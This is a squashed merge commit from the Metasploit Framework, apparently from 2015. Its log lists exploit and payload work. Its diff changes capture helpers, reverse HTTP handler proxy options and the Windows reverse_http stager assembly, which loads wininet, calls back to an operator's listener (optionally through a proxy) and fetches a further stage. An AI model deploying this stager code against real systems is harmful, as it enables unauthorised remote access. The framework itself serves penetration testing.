Merge master

Squashed commit of the following:

commit 1dcad7c21b
Merge: 1a2f35d 35d29f5
Author: OJ <oj@buffered.io>
Date:   Thu Mar 19 14:43:27 2015 +1000

    Land #4953 : Updated POSIX meterpreter binaries

commit 35d29f5d08
Author: Brent Cook <bcook@rapid7.com>
Date:   Wed Mar 18 22:57:03 2015 -0500

    update linux meterpreter bins

commit 1a2f35d806
Merge: 076f15f 346b1d5
Author: OJ <oj@buffered.io>
Date:   Thu Mar 19 12:41:20 2015 +1000

    Land #4951: Dynamic URI generation for Java/Python reverse_http(s)

commit 076f15f933
Merge: b33e7f4 3f8ed56
Author: Spencer McIntyre <zeroSteiner@gmail.com>
Date:   Wed Mar 18 20:59:54 2015 -0400

    Land #4792 @jakxx Publish It PUI file exploit

commit 3f8ed56a9a
Author: Spencer McIntyre <zeroSteiner@gmail.com>
Date:   Wed Mar 18 20:57:58 2015 -0400

    Add available space to the payload info

commit b33e7f477c
Merge: 0d1f205 5dd718e
Author: joev <joev@metasploit.com>
Date:   Wed Mar 18 17:17:34 2015 -0500

    Land #4947, h0ng10's TWiki exploit.

commit 346b1d539f
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 16:24:01 2015 -0500

    Revert Java back to static size for cache purposes (less cpu usage on startup)

commit 33bbf7cb7e
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 16:08:11 2015 -0500

    Dynamic URI generation for python/java http(s) stagers

commit 0d1f2055c5
Merge: e943cb5 dab4333
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 15:31:22 2015 -0500

    Lands #4949 which fixes #4845

commit dab4333867
Author: rwhitcroft <rw81junk@gmail.com>
Date:   Wed Mar 18 16:07:46 2015 -0400

    updated asm in block

commit 7ae97393e0
Author: rwhitcroft <rw81junk@gmail.com>
Date:   Wed Mar 18 15:34:31 2015 -0400

    fix x64/reverse_https stager shellcode

commit e943cb550f
Merge: d152c41 d1a2f58
Author: OJ <oj@buffered.io>
Date:   Wed Mar 18 22:34:52 2015 +1000

    Land #4585 : CVE-2015-0975 XXE in OpenNMS

commit d1a2f58303
Author: OJ <oj@buffered.io>
Date:   Wed Mar 18 22:17:44 2015 +1000

    Fix of regex for file capture and format tweaks

commit 5dd718e4fa
Author: Hans-Martin Münch (h0ng10) <muench@mogwaisecurity.de>
Date:   Wed Mar 18 09:51:51 2015 +0100

    Better description

commit 00de437918
Author: Hans-Martin Münch (h0ng10) <muench@mogwaisecurity.de>
Date:   Wed Mar 18 09:45:08 2015 +0100

    Initial commit

commit fa7242388b
Author: OJ <oj@buffered.io>
Date:   Wed Mar 18 18:18:54 2015 +1000

    Move the module to the correct location

commit d152c41826
Merge: b46e5f8 b62da42
Author: OJ <oj@buffered.io>
Date:   Wed Mar 18 17:42:19 2015 +1000

    Land #4934 : Proxy and auth support in reverse_http(s)

commit b62da42927
Merge: c607cf7 b46e5f8
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 01:51:15 2015 -0500

    Merge branch 'master' into feature/add-proxies-to-wininet

commit b46e5f8d13
Merge: bd4738b 97def50
Author: OJ <oj@buffered.io>
Date:   Wed Mar 18 16:49:13 2015 +1000

    Land #4295 : Refactory proxy-enabled payload handling

commit c607cf7b11
Merge: 0513852 bd4738b
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 01:45:44 2015 -0500

    Merging master

commit 97def50cc2
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 01:26:59 2015 -0500

    Whitespace cleanup

commit 8d3cb8bde5
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 01:25:42 2015 -0500

    Fix up meterpreter patching arguments and names

commit ef443c83b9
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 01:21:53 2015 -0500

    Fix overgreed search/replace

commit 390a704cc7
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 01:19:05 2015 -0500

    Cleanup proxyhost/proxyport arguments to match new names

commit f7a06d8e44
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 01:15:32 2015 -0500

    Rework PROXY_{HOST|PORT|TYPE|USERNAME|PASSWORD) to the new syntax

commit 3aa8cb69a4
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 01:08:09 2015 -0500

    Fix two use cases of PROXYHOST/PROXYPORT

commit 87a489907c
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Dec 15 14:48:09 2014 -0600

    Place an IPv6 proxy IP between brackets

commit 259db269bd
Author: HD Moore <hd_moore@rapid7.com>
Date:   Tue Dec 2 15:36:14 2014 -0600

    Remove user/pass and invalid class from the options

commit 2ab14e7e79
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 01:01:10 2015 -0500

    Adds IPv6 and option-related issues with the previous patch

commit 0601946830
Author: HD Moore <hd_moore@rapid7.com>
Date:   Tue Dec 2 13:29:39 2014 -0600

    Don't mandate and default PROXY_HOST (miscopy from the proxy stager)

commit a4df6d539f
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 00:59:59 2015 -0500

    Cleanup proxy handling code (consistency & bugs)

    One subtle bug was that each time a request was received, a null byte was being appended to the datastore options for PROXY_USERNAME and PROXY_PASSWORD. Eventually this would break new sessions. This change centralizes the proxy configuration and cleans up the logic.

commit 85fb534e63
Author: HD Moore <hd_moore@rapid7.com>
Date:   Tue Dec 2 12:57:30 2014 -0600

    Fix up the offset detection again, cleanup redundant code

commit 2f13988d7b
Author: HD Moore <hd_moore@rapid7.com>
Date:   Tue Dec 2 12:33:53 2014 -0600

    Use OptPort vs OptInt and cleanup the description

commit a01be365b0
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 18 00:59:13 2015 -0500

    Rework PROXYHOST/PROXYPORT to PROXY_HOST/PROXY_PORT

    This also cleans up the windows reverse_https_proxy stager.

commit b197b7aaf0
Author: jakxx <jakx.ppr@gmail.com>
Date:   Tue Mar 17 19:24:13 2015 -0400

    Additional Updates

    -Removed unused mixin
    -Cleaned up Module name
    -Cleaned up author name

commit bd4738b93e
Merge: 47a7f99a d7fa0ec
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 17 17:37:55 2015 -0500

    Land #4827, capture and nbns fixups

commit d7fa0ec669
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 17 17:36:45 2015 -0500

    Let IPAddr#hton do the calculating

commit 47a7f99aae
Merge: d1d6378 5fd3637
Author: Brent Cook <bcook@rapid7.com>
Date:   Tue Mar 17 16:22:46 2015 -0500

    Land #4930, @hmoore-r7 winhttp stager certificate check

commit 085e6cc815
Author: jakxx <jakx.ppr@gmail.com>
Date:   Tue Mar 17 16:39:56 2015 -0400

    Implemented Recommended Changes

    -corrected spelling error
    -set only option to required
    -dumped header data to included file
    -Used Rex for jmp values

commit 0490af8ba8
Author: jstnkndy <jstnkndy@gmail.com>
Date:   Tue Mar 17 10:20:22 2015 -0400

    Added error checks, randomness, and uuid delimeter

commit f3fc4003d0
Author: jstnkndy <jstnkndy@gmail.com>
Date:   Tue Mar 17 10:19:40 2015 -0400

    typo

commit b92d243c0e
Merge: e0a7f53 766a07a
Author: jstnkndy <jstnkndy@gmail.com>
Date:   Tue Mar 17 10:18:32 2015 -0400

    Merge branch 'module-cve-2015-0975' of https://github.com/jstnkndy/metasploit-framework into module-cve-2015-0975

commit e0a7f531cc
Author: jstnkndy <jstnkndy@gmail.com>
Date:   Tue Mar 17 10:10:51 2015 -0400

    Added error checking, randomness, uuid delimiters

commit 2ea984423b
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Mar 16 14:08:01 2015 -0500

    while(true)->loop, use thread.join

commit 5fd3637d34
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Mar 16 14:00:51 2015 -0500

    Remove the i32 size specifier (not needed)

commit 69d9280748
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Mar 16 13:52:13 2015 -0500

    Fix yard docs, retries, push.i8 instructions. See commit 05138524e3

    Note that StagerRetryCount is not defined here, but will be in the parent class once #4934 lands

commit 05138524e3
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Mar 16 13:35:36 2015 -0500

    Fix yard docs, fix retries, trim bytes, retested and working

commit 69a808b744
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Mar 16 12:14:42 2015 -0500

    StagerProxy -> PayloadProxy

commit f361e4ee52
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Mar 16 00:22:10 2015 -0500

    Prefer the new-style proxy datastore options when available

commit 7e89281485
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Mar 16 00:03:31 2015 -0500

    Adds proxy (with authentication) support to reverse_http(s)

commit 8e37342c50
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Mar 14 16:52:04 2015 -0500

    Comment typo

commit 0d12ca49a7
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Mar 14 16:19:13 2015 -0500

    Work around lack of option normalization during size calculation

commit 03019cf451
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Mar 14 15:53:21 2015 -0500

    Adds StagerVerifySSLCert support (SHA1 of HandlerSSLCert)

commit 11593800b6
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Mar 14 15:52:23 2015 -0500

    Move X509 PEM parsing into Rex::Parser::X509Certificate

commit 1001061a96
Author: HD Moore <hd_moore@rapid7.com>
Date:   Wed Mar 4 18:52:18 2015 -0600

    Initialize @capture_count

commit 1b1716bcf6
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Feb 22 22:01:01 2015 -0600

    Fix a handful of bugs that broke this modules. Fixes #4799

commit 9730a1655e
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Feb 22 22:00:42 2015 -0600

    Small cleanups to the LLMR responder module

commit bdd5276524
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Feb 22 21:53:47 2015 -0600

    This fixes a number of issues with the Capture mixin

     * The use of www.metasploit.com in a datastore option results in a DNS lookup (infoleak). Switch to 8.8.8.8 (TTL=1)
     * The hackey code around #each_packet is no longer necessary in newer Ruby versions
     * The arp()/probe_gateway() calls to inject_reply() had broken logic leading to early exit and missed replies
     * The arp() function now tries up to three times to get a reply (helpful with lossy L2)
     * GC.start is extraneous and should be removed
     * Increased timeouts

commit 615d71de6e
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Feb 22 21:51:33 2015 -0600

    Remove extraneous calls to GC.start()

commit 44a7e7e4bc
Author: jakxx <jakx.ppr@gmail.com>
Date:   Wed Feb 18 13:22:54 2015 -0500

    publish-it fileformat exploit

commit 766a07a904
Author: jstnkndy <jstnkndy@gmail.com>
Date:   Tue Jan 13 22:08:08 2015 -0500

    Add CVE-2015-0975 XXE for OpenNMS <= 14.0.2
This commit is contained in:
Matt Buck
2015-03-19 10:47:33 -05:00
parent bd47a1533b
commit 2056ff6899
32 changed files with 1070 additions and 366 deletions
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -145,7 +145,7 @@ download_more:
test eax,eax ; download failed? (optional?)
jz failure
mov rax, [rdi]
mov ax, word ptr [edi]
add rbx, rax ; buffer += bytes_received
test rax,rax ; optional?
+45 -58
View File
@@ -42,7 +42,7 @@ module Msf
[
true,
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
'www.metasploit.com']),
'8.8.8.8']),
OptPort.new('GATEWAY_PROBE_PORT',
[
false,
@@ -143,7 +143,6 @@ module Msf
return unless self.capture
self.capture = nil
self.arp_capture = nil
GC.start()
end
def capture_extract_ies(raw)
@@ -163,26 +162,15 @@ module Msf
end
#
# This monstrosity works around a series of bugs in the interrupt
# signal handling of Ruby 1.9
# Loop through each packet
#
def each_packet
return unless capture
begin
@capture_count = 0
reader = framework.threads.spawn("PcapReceiver", false) do
capture.each do |pkt|
yield(pkt)
@capture_count += 1
end
end
reader.join
rescue ::Exception
raise $!
ensure
reader.kill if reader.alive?
@capture_count ||= 0
capture.each do |pkt|
yield(pkt)
@capture_count += 1
end
@capture_count
end
@@ -242,10 +230,9 @@ module Msf
pcap.inject(pkt)
Rex.sleep((delay * 1.0)/1000)
end
GC.start
end
# Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
# capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
# a payload and a destination address. To send to the broadcast address, set bcast
# to true (this will guarantee that packets will be sent even if ARP doesn't work
# out).
@@ -262,24 +249,20 @@ module Msf
# The return value either be a PacketFu::Packet object, or nil
def inject_reply(proto=:udp, pcap=self.capture)
reply = nil
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
if not pcap
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)"
else
begin
::Timeout.timeout(to) do
pcap.each do |r|
packet = PacketFu::Packet.parse(r)
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
reply = packet
break
end
# Defaults to ~2 seconds
to = (datastore['TIMEOUT'] * 4) / 1000.0
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap
begin
::Timeout.timeout(to) do
pcap.each do |r|
packet = PacketFu::Packet.parse(r)
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
return packet
end
rescue ::Timeout::Error
end
rescue ::Timeout::Error
end
return reply
nil
end
# This ascertains the correct Ethernet addresses one should use to
@@ -328,20 +311,19 @@ module Msf
end
begin
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
::Timeout.timeout(to) do
while (my_packet = inject_reply(:udp, self.arp_capture))
if my_packet.payload == secret
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
return [dst_mac, src_mac]
else
next
end
loop do
my_packet = inject_reply(:udp, self.arp_capture)
next unless my_packet
next unless my_packet.payload == secret
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
return [dst_mac, src_mac]
end
end
rescue ::Timeout::Error
# Well, that didn't work (this common on networks where there's no gatway, like
# Well, that didn't work (this is common on networks where there's no gateway, like
# VMWare network interfaces. We'll need to use a fake source hardware address.
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
end
@@ -354,26 +336,31 @@ module Msf
return self.arp_cache[:gateway] unless should_arp? target_ip
source_ip = Rex::Socket.source_address(target_ip)
raise RuntimeError, "Could not access the capture process." unless self.arp_capture
p = arp_packet(target_ip, source_ip)
inject_eth(:eth_type => 0x0806,
:payload => p,
:pcap => self.arp_capture,
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
)
begin
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
::Timeout.timeout(to) do
while (my_packet = inject_reply(:arp, self.arp_capture))
if my_packet.arp_saddr_ip == target_ip
# Try up to 3 times to get an ARP response
1.upto(3) do
inject_eth(:eth_type => 0x0806,
:payload => p,
:pcap => self.arp_capture,
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
)
begin
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
::Timeout.timeout(to) do
loop do
my_packet = inject_reply(:arp, self.arp_capture)
next unless my_packet
next unless my_packet.arp_saddr_ip == target_ip
self.arp_cache[target_ip] = my_packet.eth_saddr
return self.arp_cache[target_ip]
else
next
end
end
rescue ::Timeout::Error
end
rescue ::Timeout::Error
end
nil
end
# Creates a full ARP packet, mainly for use with inject_eth()
-1
View File
@@ -76,7 +76,6 @@ module Exploit::Remote::Ipv6
return if not @ipv6_icmp6_capture
@ipv6_icmp6_capture = nil
GC.start()
end
#
+5 -5
View File
@@ -256,11 +256,11 @@ module ReverseHopHttp
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
:proxyhost => datastore['PROXYHOST'],
:proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD']
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
blob = encode_stage(blob)
+53 -21
View File
@@ -58,18 +58,12 @@ module ReverseHttp
], Msf::Handler::ReverseHttp)
end
# Toggle for IPv4 vs IPv6 mode
#
def ipv6?
Rex::Socket.is_ipv6?(datastore['LHOST'])
end
# Determine where to bind the server
#
# @return [String]
def listener_address
if datastore['ReverseListenerBindAddress'].to_s.empty?
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
if datastore['ReverseListenerBindAddress'].to_s == ""
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
else
bindaddr = datastore['ReverseListenerBindAddress']
end
@@ -77,14 +71,12 @@ module ReverseHttp
bindaddr
end
# Return a URI suitable for placing in a payload
#
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri
if ipv6?
listen_host = "[#{listener_address}]"
else
listen_host = listener_address
end
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
"#{scheme}://#{uri_host}:#{datastore['LPORT']}/"
end
# Return a URI suitable for placing in a payload.
@@ -158,6 +150,7 @@ module ReverseHttp
'VirtualDirectory' => true)
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
lookup_proxy_settings
end
#
@@ -175,6 +168,45 @@ module ReverseHttp
protected
#
# Parses the proxy settings and returns a hash
#
def lookup_proxy_settings
info = {}
return @proxy_settings if @proxy_settings
if datastore['PayloadProxyHost'].to_s == ""
@proxy_settings = info
return @proxy_settings
end
info[:host] = datastore['PayloadProxyHost'].to_s
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
info[:type] = datastore['PayloadProxyType'].to_s
uri_host = info[:host]
if Rex::Socket.is_ipv6?(uri_host)
uri_host = "[#{info[:host]}]"
end
info[:info] = "#{uri_host}:#{info[:port]}"
if info[:type] == "SOCKS"
info[:info] = "socks=#{info[:info]}"
else
info[:info] = "http://#{info[:info]}"
if datastore['PayloadProxyUser'].to_s != ""
info[:username] = datastore['PayloadProxyUser'].to_s
end
if datastore['PayloadProxyPass'].to_s != ""
info[:password] = datastore['PayloadProxyPass'].to_s
end
end
@proxy_settings = info
end
#
# Parses the HTTPS request
#
@@ -204,8 +236,8 @@ protected
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
unless datastore['PROXYHOST'].blank?
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
unless datastore['PayloadProxyHost'].blank?
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end
@@ -268,11 +300,11 @@ protected
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
:proxyhost => datastore['PROXYHOST'],
:proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD']
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
resp.body = encode_stage(blob)
+5 -5
View File
@@ -40,11 +40,11 @@ module ReverseHttpsProxy
[
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]),
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
], Msf::Handler::ReverseHttpsProxy)
register_advanced_options(
+136 -45
View File
@@ -27,7 +27,13 @@ module Payload::Windows::ReverseHttp
super
register_advanced_options(
[
OptInt.new('HTTPStagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
], self.class)
end
@@ -41,7 +47,8 @@ module Payload::Windows::ReverseHttp
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW))
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
end
conf = {
@@ -49,7 +56,13 @@ module Payload::Windows::ReverseHttp
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC']
exitfunk: datastore['EXITFUNC'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
}
generate_reverse_http(conf)
@@ -75,7 +88,7 @@ module Payload::Windows::ReverseHttp
#
def generate_uri
uri_req_len = datastore['HTTPStagerURILength'].to_i
uri_req_len = datastore['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
@@ -83,7 +96,7 @@ module Payload::Windows::ReverseHttp
end
if uri_req_len < 5
raise ArgumentError, "Minimum HTTPStagerURILength is 5"
raise ArgumentError, "Minimum StagerURILength is 5"
end
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
@@ -112,23 +125,49 @@ module Payload::Windows::ReverseHttp
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# Proxy options?
space += 200
# The final estimated size
space
end
#
# Dynamic payload generation
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [String] :proxy_host The optional proxy server host to use
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
#
def asm_reverse_http(opts={})
#
# options should contain:
# ssl: (true|false)
# url: "/url_to_request"
# host: [hostname]
# port: [port]
# exitfunk: [process|thread|seh|sleep]
#
retry_count = [opts[:retry_count].to_i, 1].max
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
if proxy_enabled
if opts[:proxy_type].to_s.downcase == "socks"
proxy_info << "socks="
else
proxy_info << "http://"
end
proxy_info << opts[:proxy_host].to_s
if opts[:proxy_port].to_i > 0
proxy_info << ":#{opts[:proxy_port]}"
end
end
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
http_open_flags = 0
@@ -153,14 +192,11 @@ module Payload::Windows::ReverseHttp
asm = %Q^
;-----------------------------------------------------------------------------;
; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------;
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
@@ -168,53 +204,108 @@ module Payload::Windows::ReverseHttp
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
xor ebx, ebx ; Set ebx to NULL to use in future arguments
^
set_retry:
push.i8 8 ; retry 8 times should be enough
pop edi
xor ebx, ebx ; push 8 zeros ([1]-[8])
mov ecx, edi
push_zeros:
push ebx
loop push_zeros
internetopen:
; DWORD dwFlags [1]
; LPCTSTR lpszProxyBypass (NULL) [2]
; LPCTSTR lpszProxyName (NULL) [3]
; DWORD dwAccessType (PRECONFIG = 0) [4]
; LPCTSTR lpszAgent (NULL) [5]
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
if proxy_enabled
asm << %Q^
internetopen:
push ebx ; DWORD dwFlags
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
call get_proxy_server
db "#{proxy_info}", 0x00
get_proxy_server:
; LPCTSTR lpszProxyName (via call)
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
^
else
asm << %Q^
internetopen:
push ebx ; DWORD dwFlags
push ebx ; LPCTSTR lpszProxyBypass (NULL)
push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
^
end
asm << %Q^
internetconnect:
; DWORD_PTR dwContext (NULL) [6]
; dwFlags [7]
push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; DWORD_PTR dwContext (NULL)
push ebx ; dwFlags
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; password (NULL)
push ebx ; username (NULL)
push #{opts[:port]} ; PORT
call got_server_uri ; double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
server_uri: ; server_host; server_uri is saved in EDI for later
db "#{opts[:url]}", 0x00
got_server_host:
push eax ; HINTERNET hInternet
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
mov esi, eax ; Store hConnection in esi
^
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
# doesn't set the Proxy-Authorization header on the CONNECT request.
if proxy_enabled && proxy_user
asm << %Q^
; DWORD dwBufferLength (length of username)
push #{proxy_user.length}
call set_proxy_username
proxy_username:
db "#{proxy_user}",0x00
set_proxy_username:
; LPVOID lpBuffer (username from previous call)
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
if proxy_enabled && proxy_pass
asm << %Q^
; DWORD dwBufferLength (length of password)
push #{proxy_pass.length}
call set_proxy_password
proxy_password:
db "#{proxy_pass}",0x00
set_proxy_password:
; LPVOID lpBuffer (password from previous call)
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
asm << %Q^
httpopenrequest:
; dwContext (NULL) [8]
push ebx ; dwContext (NULL)
push #{"0x%.8x" % http_open_flags} ; dwFlags
push ebx ; accept types
push ebx ; referrer
push ebx ; version
push edi ; server URI
push ebx ; method
push eax ; hConnection
push esi ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
xchg esi, eax ; save hHttpRequest in esi
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request:
^
@@ -229,9 +320,9 @@ module Payload::Windows::ReverseHttp
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp
push.i8 4 ; sizeof(dwFlags)
